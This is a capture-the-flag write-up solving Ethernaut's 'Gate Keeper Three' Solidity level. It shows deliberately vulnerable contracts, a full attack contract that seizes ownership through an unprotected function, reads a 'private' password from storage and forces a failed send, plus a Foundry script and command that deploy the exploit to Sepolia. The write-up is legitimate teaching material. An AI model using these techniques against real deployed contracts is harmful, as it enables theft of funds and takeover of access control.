# The Ethernaut CTF Solutions | 28 - Gate Keeper Three

## Goals

[![](https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/28-gate3-requirements.webp align="left")](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/28-gate3-requirements.webp)

## The Contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
    GatekeeperThree public target;
    address public trick;
    uint private password = block.timestamp;

    constructor(address payable _target) {
        target = GatekeeperThree(_target);
    }

    function checkPassword(uint _password) public returns (bool) {
        if (_password == password) {
            return true;
        }
        password = block.timestamp;
        return false;
    }

    function trickInit() public {
        trick = address(this);
    }

    function trickyTrick() public {
        if (address(this) == msg.sender && address(this) != trick) {
            target.getAllowance(password);
        }
    }
}

contract GatekeeperThree {
    address public owner;
    address public entrant;
    bool public allowEntrance;

    SimpleTrick public trick;

    function construct0r() public {
        owner = msg.sender;
    }

    modifier gateOne() {
        require(msg.sender == owner);
        require(tx.origin != owner);
        _;
    }

    modifier gateTwo() {
        require(allowEntrance == true);
        _;
    }

    modifier gateThree() {
        if (
            address(this).balance > 0.001 ether &&
            payable(owner).send(0.001 ether) == false
        ) {
            _;
        }
    }

    function getAllowance(uint _password) public {
        if (trick.checkPassword(_password)) {
            allowEntrance = true;
        }
    }

    function createTrick() public {
        trick = new SimpleTrick(payable(address(this)));
        trick.trickInit();
    }

    function enter() public gateOne gateTwo gateThree {
        entrant = tx.origin;
    }

    receive() external payable {}
}
```

## The hack

The `GateKeeperThree` is a really simple level. Nothing complex, just to follow the flow of each modifier. So let's check those modifiers:

### Gate 1

```solidity
modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
}
```

We just have to call the `construct0r()` function to become the owner of the contract. This is solidity ^0.8, constructors are defined with the `constructor` keyword. The following is not a constructor, typo or not.

```solidity
function construct0r() public {
        owner = msg.sender;
}
```

On top of that, the function lacks access control so anyone can call it. Already seen in previous levels. Same for the `tx.origin != owner` check. So let's move on.

### Gate 2

```solidity
modifier gateTwo() {
    require(allowEntrance == true);
    _;
}
```

To set `allowEntrance` to `true`, we need to call the `getAllowance` function. This function needs a password. And to get the password, we need to read the storage. However, before we can do that, we need to deploy the `SimpleTrick` contract by calling the `createTrick` function. Then we can read its storage at slot `2`:

* With web3.js in the browser:
    

```javascript
await web3.eth.getStorageAt("0x...your trick address here", 2);
```

* With Foundry:
    

```solidity
bytes32 pwd = vm.load("0x...your trick address here", bytes32(uint256(2)));
```

Let's move on to the last modifier.

### Gate 3

```solidity
modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
      _;
    }
}
```

So the contract needs to have a balance greater than 0.001 ether and must be prevented from being able to send it to our `GateSkipperThree` contract. So we can either add a fallback function that always reverts, or just make sure our contract can't receive funds by omitting the `receive` and fallback functions.

And... that's it.

## Solution

Here is the full solution:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IKeeper {
    function owner() external view returns (address);
    function entrant() external view returns (address);
    function allowEntrance() external view returns (bool);
    function trick() external view returns (address);
    function construct0r() external;
    function getAllowance(uint _password) external;
    function createTrick() external;
    function enter() external;
}

contract GateSkipperThree {
    IKeeper public immutable keeper;
    address public trick;

    constructor(address _keeper) payable {
        keeper = IKeeper(_keeper);
        keeper.createTrick();
        trick = keeper.trick();
    }

    function attack(bytes32 _password) public {
        // Gate 1: Contract become owner, thanks to the lack of access control
        keeper.construct0r();
        require(keeper.owner() == address(this), "Contract isn't owner!");

        // Gate 2: Call getAllowance to get password
        keeper.getAllowance(uint256(_password));
        require(keeper.allowEntrance(), "allowEntrance isn't true!");

        // Gate 3: Deposit to keeper but revert on receive
        (bool success, ) = address(keeper).call{value: 0.0011 ether}("");
        require(success, "Deposit failed!");

        keeper.enter();
        require(keeper.entrant() == msg.sender, "Attack failed!");
    }

    fallback() external {
        require(true == false);
    }
}
```

Let's craft a script to facilitate the deployment:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {GateSkipperThree} from "../src/28_GateKeeperThree.sol";

contract PoC is Script {
    // Replace with your GoodSamaritan instance
    address gateKeepperThree = 0xe05Caa08305692ea6Bb2DB43E4c96a1e7A51FDB0;

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        GateSkipperThree gateSkipperThree = new GateSkipperThree{
            value: 0.0011 ether
        }(gateKeepperThree);

        address trick = gateSkipperThree.trick();
        bytes32 pwd = vm.load(trick, bytes32(uint256(2)));

        console2.log("Password: ", uint256(pwd));

        gateSkipperThree.attack(pwd);
        console2.log("Entrant : ", gateSkipperThree.keeper().entrant());

        vm.stopBroadcast();
    }
}
```

Then you can run the script with the following command:

```bash
forge script script/28_GateKeeperThree.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
```

And check the result in the console:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713943217165/0a167cba-073c-4a0e-8e49-bc6ed0efa2f8.png align="left")

**🎉 Level completed 🎉**

## **Takeaway**

* Use of the `receive` & `fallback` functions.
    
* `tx.origin` != `msg.sender`.
    
* `private` doesn't mean secret in solidity.
    

---

You can find all the codes, challenges and their solutions on my GitHub: [https://github.com/Pedrojok01/Ethernaut-Solutions/](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md)
